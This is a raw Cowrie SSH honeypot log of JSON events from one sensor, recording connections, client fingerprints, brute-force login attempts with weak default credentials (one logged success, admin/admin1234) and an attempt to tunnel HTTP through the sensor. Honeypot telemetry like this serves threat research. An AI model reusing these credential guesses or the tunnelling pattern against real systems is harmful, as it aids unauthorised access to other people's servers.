{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:25.757979Z","src_ip":"91.92.40.36","session":"aff31d56ae6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":51670,"dst_ip":"10.17.0.5","dst_port":22,"session":"63361eb78648","protocol":"ssh","message":"New connection: 45.153.34.195:51670 (10.17.0.5:22) [session: 63361eb78648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:26.274090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:26.287830Z","src_ip":"45.153.34.195","session":"63361eb78648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:26.378414Z","src_ip":"45.153.34.195","session":"63361eb78648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte","message":"login attempt [soporte/soporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:26.924380Z","src_ip":"45.153.34.195","session":"63361eb78648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:28.126306Z","src_ip":"45.153.34.195","session":"63361eb78648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":51690,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a0b7a1ce585","protocol":"ssh","message":"New connection: 45.153.34.195:51690 (10.17.0.5:22) [session: 1a0b7a1ce585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:29.506196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:29.536331Z","src_ip":"45.153.34.195","session":"1a0b7a1ce585","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:29.640528Z","src_ip":"45.153.34.195","session":"1a0b7a1ce585","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test3","password":"1","message":"login attempt [test3/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:29.992976Z","src_ip":"45.153.34.195","session":"1a0b7a1ce585","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"noah","password":"noah","message":"login attempt [noah/noah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:30.823547Z","src_ip":"91.92.40.36","session":"615de682e33d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:31.076794Z","src_ip":"45.153.34.195","session":"1a0b7a1ce585","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45206,"dst_ip":"10.17.0.5","dst_port":22,"session":"1de1c04ec454","protocol":"ssh","message":"New connection: 91.92.40.36:45206 (10.17.0.5:22) [session: 1de1c04ec454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:32.180315Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":11290,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a7ab8e26523","protocol":"ssh","message":"New connection: 45.153.34.195:11290 (10.17.0.5:22) [session: 7a7ab8e26523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:32.443647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:32.477416Z","src_ip":"45.153.34.195","session":"7a7ab8e26523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:32.552942Z","src_ip":"45.153.34.195","session":"7a7ab8e26523","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"game","password":"game","message":"login attempt [game/game] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:32.926264Z","src_ip":"45.153.34.195","session":"7a7ab8e26523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:32.952681Z","src_ip":"91.92.40.36","session":"615de682e33d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:33.230189Z","src_ip":"91.92.40.36","session":"1de1c04ec454","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:33.233196Z","src_ip":"91.92.40.36","session":"1de1c04ec454","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:34.010369Z","src_ip":"45.153.34.195","session":"7a7ab8e26523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":11302,"dst_ip":"10.17.0.5","dst_port":22,"session":"4263f713d614","protocol":"ssh","message":"New connection: 45.153.34.195:11302 (10.17.0.5:22) [session: 4263f713d614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:35.530801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:35.537222Z","src_ip":"45.153.34.195","session":"4263f713d614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:35.633964Z","src_ip":"45.153.34.195","session":"4263f713d614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":50636,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e3ed67b0f72","protocol":"ssh","message":"New connection: 147.45.211.215:50636 (159.203.135.109:22) [session: 4e3ed67b0f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:35.742530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:35.746233Z","src_ip":"147.45.211.215","session":"4e3ed67b0f72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:35.891372Z","src_ip":"45.153.34.195","session":"4263f713d614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:35.917897Z","src_ip":"147.45.211.215","session":"4e3ed67b0f72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"08031989","message":"login attempt [root/08031989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:36.433508Z","src_ip":"147.45.211.215","session":"4e3ed67b0f72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:36.975318Z","src_ip":"45.153.34.195","session":"4263f713d614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":51877,"dst_ip":"10.17.0.5","dst_port":22,"session":"51076ec5f589","protocol":"ssh","message":"New connection: 38.46.222.137:51877 (10.17.0.5:22) [session: 51076ec5f589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:37.470939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:37.599944Z","src_ip":"38.46.222.137","session":"51076ec5f589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:37.603771Z","src_ip":"38.46.222.137","session":"51076ec5f589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:37.635691Z","src_ip":"147.45.211.215","session":"4e3ed67b0f72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"python","password":"123456","message":"login attempt [python/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:37.855152Z","src_ip":"91.92.40.36","session":"1de1c04ec454","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":11318,"dst_ip":"10.17.0.5","dst_port":22,"session":"744d211df438","protocol":"ssh","message":"New connection: 45.153.34.195:11318 (10.17.0.5:22) [session: 744d211df438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:38.368739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:38.373765Z","src_ip":"45.153.34.195","session":"744d211df438","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:38.464698Z","src_ip":"38.46.222.137","session":"51076ec5f589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:38.546283Z","src_ip":"45.153.34.195","session":"744d211df438","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:38.946528Z","src_ip":"45.153.34.195","session":"744d211df438","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:39.460788Z","session":"e6f1ae702a64","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:39.520374Z","src_ip":"23.175.50.52","session":"e6f1ae702a64","protocol":"ssh"}
